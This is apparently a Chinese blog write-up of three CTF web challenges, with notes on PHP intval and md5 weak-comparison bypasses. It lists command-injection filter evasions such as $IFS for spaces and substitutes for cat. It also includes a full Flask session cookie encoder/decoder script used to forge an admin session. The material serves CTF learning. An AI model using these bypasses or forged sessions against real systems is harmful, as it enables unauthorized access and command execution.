NSSCTF中的[WUSTCTF 2020]朴实无华、[FSCTF 2023]源码!启动! 、[LitCTF 2023]Flag点击就送! 以及相关知识点

目录

[WUSTCTF 2020]朴实无华

[FSCTF 2023]源码!启动! 

[LitCTF 2023]Flag点击就送! 

相关知识点

1.intval 绕过

绕过的方式:

2.session伪造攻击


[WUSTCTF 2020]朴实无华

1.进入页面几乎没什么可用的信息,所以想到使用disearch扫描,发现robots.txt文件,这里也可以通过源代码中联想到robots文件

 2.访问robots文件,发现一个php文件,访问该php文件得到一个假的flag

3.再根据扫描的文件,发现有一个fl4g.php文件,访问该文件,得到一长串php代码

4.接下来就是进行代码审计,首先是第一关卡

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
} 

这串代码主要的作用是使用了intval()函数,该函数用于获取变量的整数值。它尝试从给定的变量中获取整数。接下来的if条件是一个逻辑与(&&)操作,它检查两个条件是否都为真 

注意:intval()这个函数是强制转换为int类型。 

举个例子:

<?php
echo '3e5' ; 
?> 
//结果为3e5
<?php 
echo '3e5'  + 1; 
?> 
//结果为300001 

这是因为在第一个 echo 语句中,'3e5' 被视为字符串,因此会直接输出其内容 '3e5'。而在第二个语句中,虽然 '3e5' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法表示 3 乘以 10 的 5次方,即 300000,然后再加上 1,所以结果为 300001。

5.使用如上方法,绕过第一关 

6.接下来就是第二关

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
} 
//这串代码主要涉及到了弱比较

 补充:==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false

7.接下来就是第三关,这串代码的关键就是过滤空格和cat,用其他的替换即可

代替cat: more、less、head、tail、sort、ca\t

代替空格:$IFS、${IFS}、$IFS$1、$IFS$9

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")) //strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
{
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);//str_replace() 函数替换字符串中的一些字符(区分大小写)。这里的意思是将get_flag字符串中的"cat"替换成"wctf2020"
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
} 

 资料参考:PHP strstr() 函数 | 菜鸟教程

PHP str_replace() 函数 | 菜鸟教程

8.按要求传参,先传个la看看,发现有回显

9.绕过最后一个关卡,得到flag 

[FSCTF 2023]源码!启动! 

1.进入页面,想到查看源代码,发现禁用了右键,于是在更多工具中看源代码,得到flag

[LitCTF 2023]Flag点击就送! 

资料:【python】Flask之session使用_python flask session-CSDN博客

1.根据提示很容易想到要抓包,进入页面,是如下的页面

2.随便输入一个名字,出现以下页面

3.点击拿flag,出现以下回显,只有管理员可以

4.接下来使用抓包工具,发现cookie中有session的值,并根据题目可知这个题可能是session伪装漏洞

5. 打开kali,输入以下命令进行加解密session的值

这里要使用到python脚本,如果载虚拟机中操作,还涉及到将脚本保存在虚拟机的文件中

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
 
 
解密:python session.py decode -s “secret_key” -c “需要解密的session值”
加密:python session.py encode -s “secret_key” -t “需要加密的session值”

 首先进行解密,发现是flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

其次进行加密,又因为提示是必须是管理员,所以是name:admin

将得到的session加密值传给页面的session,得到flag

 

相关知识点

1.intval 绕过

intval() 函数可以获取变量的「整数值」。常用于强制类型转换

进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001,那么我们成功绕过了。

绕过的方式:

1.进制类型转换

 绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。

2.转换数组

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。

 【空数组】返回 0

【非空数组】返回 1

如果传入的 $var是数组中的某个值时,则当做变量来转换,而不是当做数组类型。

$arr1 = array(8,6);

var_dump(intval($arr1[0]));

//输出int(8)

绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 

3.转换小数

intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。

绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。

4.转换字符串

intval() 转换字符串类型时,会判断字符串是否以数字开头

  • 如果以数字开头,就返回1个或多个连续的数字
  • 如果以字母开头,就返回0

单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串

 5.取反

intval() 函数支持一些特殊符号的,比如~取反。

绕过思路:当某个数字被过滤时,可以两次取反来绕过。

6.算数运算符

intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先运算,再对运算结果进行转换。

绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。 

7.浮点数精度缺失问题

由于PHP中的浮点数是【弱类型】,存在【精度丢失】的问题,在转换时可能会出现意料之外的情况。

资料参考:WEB攻防基础|PHP|过滤函数intval()绕过原理及方法-CSDN博客

PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客

2.session伪造攻击

(1)session的作用:
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

 (2)session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击

(3)flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
(4)flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

(5)json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array

对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开

json本质上就是一个字符串

来看一段json数据:

{"name":"admin","age":18}

资料:https://zhuanlan.zhihu.com/p/476520054 

Session攻击-CSDN博客

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值